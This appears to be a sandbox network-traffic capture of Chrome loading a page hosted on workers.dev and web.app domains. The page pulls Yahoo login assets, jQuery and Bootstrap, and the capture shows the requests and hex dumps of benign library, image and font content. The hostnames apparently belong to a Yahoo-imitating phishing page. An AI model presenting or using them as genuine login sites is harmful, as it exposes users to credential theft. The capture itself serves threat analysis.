0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-04-27 22:41:36 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-04-27 22:41:36 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49759	104.18.10.207	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:36 UTC	737	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:36 UTC	968	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:36 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 04/02/2024 02:05:57 CDN-EdgeStorageId: 1067 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: ce46efc8f419a7e8056a272f09b15728 CDN-Cache: HIT CF-Cache-Status: HIT Age: 80136 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 87b2522ad9830850-IAD alt-svc: h3=":443"; ma=86400
2024-04-27 22:41:36 UTC	401	IN	Data Raw: 37 62 65 39 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7be9/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 64 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 74 28 6e 29 2e 74 72 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 Data Ascii: d:function(n){t(n).trigger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.is
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 61 72 20 65 3d 6f 2e 45 76 65 6e 74 28 75 2e 43 4c 4f 53 45 29 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 Data Ascii: ar e=o.Event(u.CLOSE);return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._d
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 73 26 26 70 28 73 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 43 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 Data Ascii: s&&p(s).removeClass(C)}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._eleme
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 3a 22 6d 6f 75 73 65 65 6e 74 65 72 22 2b 69 2c 4d 4f 55 53 45 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 Data Ascii: :"mouseenter"+i,MOUSELEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-it
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 76 61 6c 29 2c 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 Data Ascii: val),this._interval=null),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).fi
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 Data Ascii: if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 65 6e 74 28 64 2e 53 4c 49 44 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 Data Ascii: ent(d.SLID,{relatedTarget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).r
2024-04-27 22:41:36 UTC	1369	IN	Data Raw: 44 5f 44 41 54 41 5f 41 50 49 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 Data Ascii: D_DATA_API,function(){t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="colla

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49767	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:37 UTC	605	OUT	GET /wm/mbr/images/checkbox-checked.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://validated.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:37 UTC	814	IN	HTTP/1.1 200 OK x-amz-id-2: u6MPn/N/KYwtEWlX6GTgoRAz6LACKH3uxjoCfk3oHU20AL7KOwdUg5WSYfQdpdzc6VtpUZmeXE/eHbh2YSLcF5g014xvfzeK x-amz-request-id: W630WWR27JHA68AA Date: Fri, 12 Apr 2024 17:07:34 GMT Last-Modified: Fri, 24 Apr 2020 17:13:52 GMT ETag: "ac8c4fbeda6efad9549cb41b992a8b3a" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=315360000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1246 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 1316044 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:37 UTC	1246	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 31 36 70 78 22 20 68 65 69 67 68 74 3d 22 31 36 70 78 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 36 20 31 36 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 31 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 20 20 3c 21 2d 2d 20 47 65 6e 65 72 61 74 6f 72 3a 20 53 6b 65 74 63 68 20 35 39 20 28 38 36 31 32 37 29 20 2d 20 68 74 74 70 73 3a 2f 2f 73 6b 65 74 63 68 2e 63 6f 6d 20 2d 2d 3e 0a 20 20 20 20 3c 74 69 74 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><svg width="16px" height="16px" viewBox="0 0 16 16" version="1.1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> ... Generator: Sketch 59 (86127) - https://sketch.com --> <tit

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49766	18.165.83.3	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:37 UTC	718	OUT	GET /p?c1=2&c2=7241469&c5=794416018&ns_c=UTF-8&ns__t=1605204367576&c7=https%3A%2F%2Flogin.yahoo.com%2F&c14=-1 HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://yhs-world-aged-dust-4671.aubrey744.workers.dev/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:37 UTC	876	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Sat, 27 Apr 2024 22:41:37 GMT Location: /p2?c1=2&c2=7241469&c5=794416018&ns_c=UTF-8&ns__t=1605204367576&c7=https%3A%2F%2Flogin.yahoo.com%2F&c14=-1 set-cookie: UID=1D48bace37dc6f510e89ade1714257697; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=62208000 set-cookie: PID=1F88bace37f79f510e89c911714257697; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=7776000 set-cookie: XID=1D48bace37dc6f510e89ade1714257697; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=62208000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e030eb9e2523dd8af200ce39f28ca642.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD55-P3 X-Amz-Cf-Id: -0mQu3mZWcOyBBFhsEePDyOimxXDQ7lg_zFv2kdbbRwxtGwVLo7Pdg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49768	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:37 UTC	619	OUT	GET /cv/ae/sports/fonts/2017/Yahoo_Sans-Semibold.woff2 HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://yhs-world-aged-dust-4671.aubrey744.workers.dev sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://validated.web.app/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:38 UTC	1084	IN	HTTP/1.1 200 OK x-amz-id-2: jUsE5VYGtgGhjLCWQ3s3XzQEit0H9aL908MvI0qy5vwuYejW9jRgH2tqjjUXbMxLa7ho82p4330= x-amz-request-id: D8419F3SK3H7NSEW Date: Sat, 13 Apr 2024 08:23:21 GMT Last-Modified: Thu, 19 Apr 2018 17:33:29 GMT ETag: "af9fdad7698452697b016850fff96423" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000,public x-amz-meta-created-date: Tue, 03 Oct 2017 06:22:51 GMT x-amz-meta-mbst-etag: "YM:1:95620d49-21c2-4044-b803-58b70c8e419700055a9e854fb9f1" x-amz-meta-x-ysws-mbst-vtime: 1507011771480561 Expires: Sat, 05 Sep 2026 00:00:00 GMT x-amz-meta-x-ysws-access: public Accept-Ranges: bytes Content-Type: font/woff2 Server: ATS Content-Length: 29040 Referrer-Policy: no-referrer-when-downgrade Age: 1261098 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin ATS-Carp-Promotion: 1
2024-04-27 22:41:38 UTC	1300	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 71 70 00 10 00 00 00 01 84 28 00 00 71 0e 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1b 82 af 30 1c 95 54 06 60 00 89 54 08 81 0a 09 82 73 11 0c 0a 82 ec 68 82 c8 4f 0b 87 1a 00 01 36 02 24 03 8e 30 04 20 05 8d 1c 07 98 2c 0c 89 5e 5b 5f 6d 71 06 dd e6 bc 5c 24 b2 f4 66 55 ca 59 19 f0 d2 55 30 dd 54 be 52 77 95 b9 99 bd 70 62 25 cc b3 7f 82 db 41 68 4a d9 a7 65 ff ff ff 7f 7a d2 18 43 cb 85 2e 01 10 b4 2a b5 6b f7 bf ff 0d 62 b6 91 15 4b ae ad 0a 4b ad 7d 51 34 2a 13 31 ca c8 2b c9 cb 86 bb c2 7e 6c e7 0c 15 fb 86 8a 33 f4 78 c6 71 64 66 3f 98 73 1c 41 e9 d7 8e a7 e2 e7 08 b5 2f 28 44 c8 50 68 c1 af 82 0d 6f b8 2d 3d 94 51 7b 6c c1 a2 6b ca d1 c7 08 ef 0f 58 4e a6 e9 42 8e 27 72 5e f5 7a 55 7c 91 Data Ascii: wOF2qp(q0T`TshO6$0 ,^[_mq\$fUYU0TRwpb%AhJezC.kbKK}Q41+~l3xqdf?sA/(DPho-=Q{lkXNB'r^zU\|
